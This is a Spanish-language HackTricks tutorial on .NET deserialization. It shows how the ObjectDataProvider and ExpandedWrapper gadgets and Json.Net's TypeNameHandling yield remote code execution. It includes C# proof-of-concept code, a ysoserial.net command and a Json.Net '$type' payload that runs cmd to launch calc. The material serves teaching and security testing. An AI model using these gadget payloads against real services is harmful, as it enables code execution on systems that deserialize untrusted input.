10 KiB
Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Esta publicación está dedicada a entender cómo se explota el gadget ObjectDataProvider para obtener RCE y cómo las bibliotecas de Serialización Json.Net y xmlSerializer pueden ser abusadas con ese gadget.
Gadget ObjectDataProvider
De la documentación: la clase ObjectDataProvider envuelve y crea un objeto que puedes usar como fuente de enlace.
Sí, es una explicación extraña, así que veamos qué tiene de interesante esta clase: Esta clase permite envolver un objeto arbitrario, usar MethodParameters para establecer parámetros arbitrarios, y luego usar MethodName para llamar a una función arbitraria del objeto arbitrario declarado usando los parámetros arbitrarios.
Por lo tanto, el objeto arbitrario ejecutará una función con parámetros mientras se deserializa.
Cómo es esto posible
El espacio de nombres System.Windows.Data, que se encuentra dentro de PresentationFramework.dll en C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
, es donde se define e implementa el ObjectDataProvider.
Usando dnSpy puedes inspeccionar el código de la clase que nos interesa. En la imagen a continuación estamos viendo el código de PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nombre del método
Como puedes observar, cuando se establece MethodName
, se llama a base.Refresh()
, veamos qué hace:
Ok, continuemos viendo qué hace this.BeginQuery()
. BeginQuery
es sobreescrito por ObjectDataProvider
y esto es lo que hace:
Nota que al final del código se llama a this.QueryWorke(null)
. Veamos qué ejecuta eso:
Nota que este no es el código completo de la función QueryWorker
, pero muestra la parte interesante: El código llama a this.InvokeMethodOnInstance(out ex);
esta es la línea donde se invoca el método establecido.
Si quieres comprobar que solo estableciendo el MethodName** se ejecutará**, puedes ejecutar este código:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Note que necesita agregar como referencia C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll para cargar System.Windows.Data
ExpandedWrapper
Usando el exploit anterior, habrá casos en los que el objeto será deserializado como una instancia de ObjectDataProvider (por ejemplo, en la vulnerabilidad de DotNetNuke, usando XmlSerializer, el objeto fue deserializado usando GetType
). Entonces, no tendrá conocimiento del tipo de objeto que está envuelto en la instancia de ObjectDataProvider (por ejemplo, Process
). Puede encontrar más información sobre la vulnerabilidad de DotNetNuke aquí.
Esta clase permite especificar los tipos de objeto de los objetos que están encapsulados en una instancia dada. Así, esta clase puede ser utilizada para encapsular un objeto fuente (ObjectDataProvider) en un nuevo tipo de objeto y proporcionar las propiedades que necesitamos (ObjectDataProvider.MethodName y ObjectDataProvider.MethodParameters).
Esto es muy útil para casos como el presentado anteriormente, porque podremos envolver _ObjectDataProvider** dentro de una instancia de **ExpandedWrapper _ y cuando se deserialice esta clase creará el objeto OjectDataProvider que ejecutará la función indicada en MethodName.
Puede verificar este wrapper con el siguiente código:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
En la página web oficial se indica que esta biblioteca permite Serializar y deserializar cualquier objeto .NET con el poderoso serializador JSON de Json.NET. Así que, si pudiéramos deserializar el gadget ObjectDataProvider, podríamos causar un RCE solo deserializando un objeto.
Ejemplo de Json.Net
Primero que nada, veamos un ejemplo de cómo serializar/deserializar un objeto utilizando esta biblioteca:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Abusing Json.Net
Usando ysoserial.net creé el exploit:
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
En este código puedes probar el exploit, solo ejecútalo y verás que se ejecuta un calc:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
{% hint style="success" %}
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.